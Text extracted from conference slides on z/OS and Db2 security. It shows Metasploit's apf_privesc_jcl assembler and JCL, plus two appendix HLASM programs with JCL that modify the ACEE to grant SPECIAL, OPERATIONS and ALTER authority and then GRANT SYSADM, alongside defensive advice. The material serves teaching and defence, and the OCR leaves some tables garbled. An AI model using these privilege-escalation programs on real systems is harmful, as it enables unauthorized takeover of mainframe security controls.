| L 5,X'C8'(5) | ACEEAUDT+ACEERACF | | 1 | ACEEAUDT | 1 - Auditor attribute | |
| NI X'26'(5),X'00' | | | 1 | ACEELOGU | 1 - User is to have most RACF functions logged | |
| OI X'26'(5),X'B1' | | | 1 | ACEEROA | 1 - Read-only auditor attribute | |
| | _ | | 1. | ACEEPRIV | 1 - User is a started procedure with the privileged attribute | |
| | | | 1 | ACEERACF | 1 - RACF-defined user | |



Automation - Metasploit

Metasploit

- public open source framework for known exploits used to test for known vulnerabilities
- Chad added support for zArch in 2016
- Can be **authenticated** using real credentials
- Non-authenticated binary exploits (buffer overflow)
- Other
 - scanning, brute forcing, emulation (ftp, http, smb)

apf privesc jcl

- Uses an unsecured/updateable APF authorized library
- Uses FTP
- Adds SYSTEM SPECIAL and BPX.SUPERUSER to user's ACEE
- Works with RACF only

metasploit

The world's most used penetration testing framework



Automation - Metasploit

apf_privesc_jcl (github)

| "****** | ***** | ************ | ************************************** | ١ |
|-----------|--------|------------------|--|---|
| "* AUTHUS | ER ROU | TINE | *\n" | ١ |
| "****** | ***** | ************* | ************************************** | ١ |
| "AUTHUSR | MODES | ET KEY=ZERO,MODE | =SUP # let's get into supervisor mode!\n" $\$ | |
| | L | 11,X'224' | # R11 points to ASCB\n" \ | |
| | L | 11,X'6C'(11) | # R11 points to ASXB\n" \ | |
| | L | 11,X'C8'(11) | # R11 points to ACEE\n" \ | |
| | NI | X'26'(11),X'00' | # Clear Byte x'26'\n" \ | |
| | OI | X'26'(11),X'B1' | # Add Oper & Special to userproc\n" \ | |
| | NI | X'27'(11),X'00' | # Clear Byte x'27\n" \ | |
| | OI | X'27'(11),X'80' | <pre># ALTER access to all resource\n" \</pre> | |
| | MODES | ET KEY=NZERO,MOD | E=PROB # back to normal\n" \ | |
| | XR | 15,15 | <pre># set rc=0 regardless\n" \</pre> | |
| | BR | 6 | # R6 has return reg\n" \ | |
| "******* | ***** | ************** | *************************************** | ١ |

| Offset Dec | Offset Hex | Туре | Len | Name(Dim) | | Description |
|---------------|---------------|-----------|-----|-----------|----------|---|
| 38 | (26) | BITSTRING | 1 | ACEEFLG1 | | User flags |
| | | 1 | | ACEESPEC | I | 1 - Special attribute |
| | | .1 | | ACEEADSP | • | 1 - Automatic data security protection |
| | | 1 | | ACEEOPER | | 1 - Operations attribute |
| | | 1 | | ACEEAUDT | | 1 - Auditor attribute |
| | | 1 | | ACEELOGU | | 1 - User is to have most RACF functions logged |
| | | 1 | | ACEEROA | | 1 - Read-only auditor attribute |
| | | 1. | | ACEEPRIV | | 1 - User is a started procedure wit the privileged attribute |
| | | 1 | | ACEERACF | | 1 - RACF-defined user |
| 39 | (27) | BITSTRING | 1 | ACEEFLG2 | - | Default universal access |
| | | 1 | | ACEEALTR | I | 1 - Alter authority to resource |
| | | .1 | | ACEECNTL | • | 1 - Control authority to resource |
| | | 1 | | ACEEUPDT | | 1 - Update authority to resource |
| | | 1 | | ACEEREAD | | 1 - Read authority to resource |
| | | 1 | | * | | Reserved for compatibility |
| | | 1 | | * | | Reserved |
| | | 1. | | * | | Reserved |
| | | 1 | | ACEENONE | | 1 - No authority to resource |

- "//S2 EXEC PGM=IKJEFT01\n" \
- "//SYSTSIN DD *\n" \
- " ALU #{datastore['FTPUSER']} SPECIAL\n" \
- " PE BPX.SUPERUSER CLASS(FACILITY) ID(#{datastore['FTPUSER']}) ACCESS(READ)\n" \
- " SETR RACL(FACILITY) REF\n" \

Additional Hints

- JSCBAUTH (PSATOLD->TCBJSCB)
 - authorized to issue the MODESET macro instruction
 - Superpower!
- **RBOPSWPS** (PSATOLD->TCBRBP)
 - PROBLEM STATE BIT IN OLD PSW
 - Clear to be supervisor
- Can be used even in ISPF
 - remember you are not APF authorized when running in TSO/ISPF
 - HINT: <u>IKJEFTSR</u> provides a mechanism to invoke authorized commands, programs, or CLISTs (consisting of only authorized commands or programs) from unauthorized application programs
 - Requires SYS1.PARMLIB changes: **AUTHTSF** parameter list in member SYS1.PARMLIB(IKJTSOxx).
- Program properties table (<u>PPT</u>)
 - SYS1.PARMLIB(SCHEDxx) PPT is a list of programs that require special attributes (such as Key)

| | | "X'01'" - The step |
|---|----------|---------------------------|
| | | represented by this JSCB |
| | | is authorized to issue |
| | | the MODESET macro |
| | | instruction. Although |
| | | this bit has been |
| | | designated PI, IBM |
| 1 | JSCBAUTH | recommends that very |
| | | careful design |
| | | consideration be given to |
| | | its use. To avoid the |
| | | likelihood of creating a |
| | | system integrity |
| | | exposure, do not turn on |
| | | JSCBAUTH. |

What to do next



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What to do next

- Don't panic!
- Educate yourself and your team
- Implement security practices
 - Be current with maintenance
 - Audits

• ...

- Static code analysis
- Vulnerability scans
- zAuthorized Code Scanner (zACS), ACEE modification detection
- Pervasive Encryption
- Multilevel Security (MLS)
- Multi factor authentication (MFA)



- Get Ready for a **Pen Test**?
 - What is a Pen Test?
 - Penetration Testing Execution Standard (PTES) methodology,
 - Open Web Application Security Project (OWASP) approach for web,
 - ethical hacking,
 - blackbox/greybox/whitebox
 - What is it not?
 - App scanning,
 - unit test,
 - Internal vs external



CIS Benchmark for Db2 13 - Highlights

- Center for Internet Security (CIS) Db2 13 report
- Protect Db2 system datasets
 - physical table spaces, logs, BSDS, SDSNLOAD, SDSNEXIT
- Protect the **subsystem access**
- Recommended **zParms** setting
 - AUTHEXIT_CACHEREFRESH = ALL
 - AUTH = YES
 - EXTSEC = NO
 - SEPARATE_SECURITY=YES
 - TCPALVER = SERVER_ENCRYPT
- Secure remote connections
 - Use SSL, MFA,
- Restrict access to catalog tables

EXTENDED SECURITY field (EXTSEC subsystem parameter)

Recommendation: Specify a value of YES. This setting allows properly enabled DRDA clients to determine the cause of security failures without requiring Db2 operator support. A value of YES also allows RACF users on properly enabled Db2 clients to change their passwords.

Note: This is a security-related parameter. When this parameter is set to YES, detailed reason codes are returned to the client when a DDF connection request fails because of security errors that might enable more malicious attacks. If this parameter is set to YES, RACF users can change their passwords by using the DRDA change password function.







Links and references

Links

- Links embedded in the prior slides ;-)
- Recent **IDUG presentations** with a lots of links/resources
 - NA22B14 In the world of Ransomware Protecting your Db2 for z/OS Assets is Vital, Bob Tilkes, IBM
 - NA22B13 Secure your Db2 for z/OS access with Multi-factor Authentication, Gayathiri (Gaya) Chandran, Derek Tempongko, IBM
 - NA22G16 Db2 Security Best Practices, David Beulke, Dave Beulke and Associates
 - EU22G01 Db2 for z/OS Security An Introduction, Gayathiri (Gaya) Chandran, IBM
 - EU22E10 SQL Injection and Db2 Pathology and Prevention, Petr Plavjaník, Broadcom
 - EU22B17 Security and Compliance With Db2 13 for z/OS, Gayathiri (Gaya) Chandran, IBM
 - EU21G07 Are you security aware?, Jan Marek, Broadcom


IBM Documentation

- Principles of Operations
- Data Areas
- Authorized Assembler Services Guide and Reference
- RACF Security Admin's Guide
- Db2 Managing Security, RACF Access Control Module Guide





Thank you!



Greetings from friendly next-gen hackers! 🙂





Appendix – Code and JCL



Example 1, HLASM code

| TESTASM TESTASM TESTASM | AMODE | | | | |
|-------------------------------|---|--|---|---------------|-----|
| | STM | R14,R12,12(R13) | Common | | |
| | LR | R12,R15 | z/0S | | |
| | USING | TESTASM,R12 | Housek | eeping | |
| | LA | R2,SAVEAREA | • • • | | |
| | ST | R2,8(,R13) | | | |
| | ST | R13,4(,R2) | | | |
| | LR | R13,R2 | | | |
| * | | | Importan | t stuff here: | |
| | L | R10,548 | | R10 => ASCB | 1 T |
| | L | R10, ASCBASXB-ASC | CB(.R10) | R10 => ASXB | - |
| | - | • | | | |
| | - | ET KEY=ZERO,MODE=F | PROB | | |
| | - MODES MVC | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, | PROB ,R10),=CL8'K | | |
| ł | - MODES MVC | ET KEY=ZERO,MODE=F | PROB ,R10),=CL8'K | | |
| * | - MODES MVC | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= | PROB ,R10),=CL8'K =PROB | | |
| * | MODES MVC MODES | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) | PROB ,R10),=CL8'K =PROB Common | | |
| * | MODES MVC MODES | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= | PROB ,R10),=CL8'K =PROB | | |
| | MODES MVC MODES | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) | PROB ,R10),=CL8'K =PROB Common | | |
| | MODES MVC MODES | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 | PROB ,R10),=CL8'K =PROB Common | RTECEK ' | |
| * | MODES MVC MODES L RETURI DS DS | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 0H 18F | PROB ,R10),=CL8'K =PROB Common Code New save | RTECEK ' | |
| * | MODES MVC MODES | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 0H 18F , | PROB ,R10),=CL8'K =PROB Common Code New save | RTECEK ' | |
| * | MODES MVC MODES L RETURI DS DS YREGS | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 0H 18F , CB | PROB ,R10),=CL8'K =PROB Common Code New save | RTECEK ' | |
| * | MODES MVC MODES L RETURI DS DS YREGS IHAAS | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 0H 18F , CB | PROB ,R10),=CL8'K =PROB Common Code New save | RTECEK ' | |
| * | MODES MVC MODES MODES L RETUR DS DS YREGS IHAAS IHAAS | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 0H 18F , CB KB EE | PROB ,R10),=CL8'K =PROB Common Code New save | RTECEK ' | |
| * | MODES MVC MODES MODES L RETUR DS DS YREGS IHAAS IHAAS | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 0H 18F , CB | PROB ,R10),=CL8'K =PROB Common Code New save | RTECEK ' | |
| * SAVEAREA | MODES MVC MODES MODES L RETUR DS DS YREGS IHAAS IHAAS | ET KEY=ZERO,MODE=F ASXBUSR8-ASXB(8, ET KEY=NZERO,MODE= R13,4(,R13) N (14,12),,RC=0 0H 18F , CB KB EE | PROB ,R10),=CL8'K =PROB Common Code New save | RTECEK ' | |

This code makes Emil Joe!



Example 1, JCL

//COMPILE EXEC PGM=ASMA90,REGION=1024K,COND=(4,LT), PARM='DECK, NOOBJ' 11 //SYSLIB DD DISP=SHR,DSN=SYS1.MACLIB 11 DD DISP=SHR, DSN=SYS1.MODGEN //SYSPUNCH DD DSN=&&OBJECT,DISP=(NEW,PASS), UNIT=SYSDA, SPACE=(TRK, (60, 40)), 11 DCB=(RECFM=FB,LRECL=80,BLKSIZE=3120) 11 //SYSPRINT DD SYSOUT=* //SYSIN DD * The code from prior slide comes here //LINK EXEC PGM=IEWL,COND=(4,LT), 11 PARM='LET,LIST,MAP,XREF' //SYSLIB DD DISP=SHR,DSN=CEE.SCEELKED DD DISP=SHR, DSN=DB2.DB2C10.SDSNLOAD 11 //SYSPRINT DD SYSOUT=* //SYSLMOD DD DISP=SHR,DSN=hlq.LOADLIB //SYSLIN DD DSN=&&OBJECT,DISP=(OLD,DELETE) DD * 11 ENTRY TESTASM SETCODE AC(1) NAME TESTASM(R) /* //PRIVESC EXEC PGM=TESTASM,COND=(4,LT) //STEPLIB DD DISP=SHR,DSN=hlq.LOADLIB //SYSPRINT DD SYSOUT=* //SYSOUT DD SYSOUT=* //SYSUDUMP DD SYSOUT=* //* //GRANT EXEC PGM=IKJEFT01,COND=(4,LT) //STEPLIB DD DISP=SHR,DSN=db2.SDSNEXIT 11 DD DISP=SHR, DSN=db2.SDSNLOAD //SYSTSPRT DD SYSOUT=* //SYSPRINT DD SYSOUT=* //SYSUDUMP DD SYSOUT=* //SYSTSIN DD * DSN SYSTEM(DSN) RUN PROGRAM(DSNTIAD) PLAN(DSNTIAXX) -LIBRARY('DSN.RUNLIB.LOAD') END //SYSIN DD * SET CURRENT SQLID = 'KRTECEK';

Compile the Code from prior slide

Link into an APF Authorized Loadlib

Run the program - Change the authority of the address space





GRANT SYSADM TO EMIL;

Example 2, HLASM code

| TESTASM TESTASM TESTASM | AMODE 31 RMODE 31 | Common z/OS Housekeeping | |
|-------------------------------|--|---|---|
| | L R10,548 L R10,ASCBASXB-ASCB(,R ICM R5,15,ASXBSENV-ASXB(BZ NOACEE MODESET KEY=ZERO,MODE=PROE NI ACEEFLG1-ACEE(R5),X' OI ACEEFLG1-ACEE(R5),X' | (R10) IF ACEE IS PRESENT B '00' ACEESPEC+ACEEOPER+ 'B1' ACEEAUDT+ACEERACF | This code grants Emil some super power! |
| NOACEE * SAVEAREA | RETURN (14,12),,RC=0 DS 0H DS 18F | OB Common Code New save area Define R0-R15 EQU | |



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Example 2, JCL

| //COMPILE EXEC PGM=ASMA90,REGION=1024K,COND=(4,LT | ·), |
|--|---|
| // PARM='DECK,NOOBJ' | |
| //SYSLIB DD DISP=SHR,DSN=SYS1.MACLIB | |
| // DD DISP=SHR,DSN=SYS1.MODGEN | |
| <pre>//SYSPUNCH DD DSN=&&OBJECT,DISP=(NEW,PASS),</pre> | |
| <pre>// UNIT=SYSDA,SPACE=(TRK,(60,40)),</pre> | |
| <pre>// DCB=(RECFM=FB,LRECL=80,BLKSIZE=312</pre> | 0) |
| //SYSPRINT DD SYSOUT=* | |
| //SYSIN DD * | |
| The code from prior slide comes here | Compile the Code from prior slide |
| <pre>//LINK EXEC PGM=IEWL,COND=(4,LT),</pre> | |
| // PARM='LET,LIST,MAP,XREF' | |
| //SYSLIB DD DISP=SHR,DSN=CEE.SCEELKED | |
| // DD DISP=SHR,DSN=DB2.DB2C10.SDSNLOAD | |
| //SYSPRINT DD SYSOUT=* | Λ |
| //SYSLMOD DD DISP=SHR,DSN=hlq.LOADLIB | Link into APF Authorized Loadlib |
| //SYSLIN DD DSN=&&OBJECT,DISP=(OLD,DELETE) | |
| // DD * | ` |
| ENTRY TESTASM | |
| SETCODE AC(1) | |
| NAME TESTASM(R) | \wedge |
| /* | Run the program - Get superpower |
| <pre>//PRIVESC EXEC PGM=TESTASM,COND=(4,LT)</pre> | |
| //STEPLIB DD DISP=SHR,DSN=hlq.LOADLIB | N |
| //SYSPRINT DD SYSOUT=* | |
| //SYSOUT DD SYSOUT=* | Λ |
| //SYSUDUMP DD SYSOUT=* | Dure a preserve to access the dataset |
| | \langle Run a program to access the dataset |
| //Run EXEC PGM=xxxxxxx | \mathbb{N} |

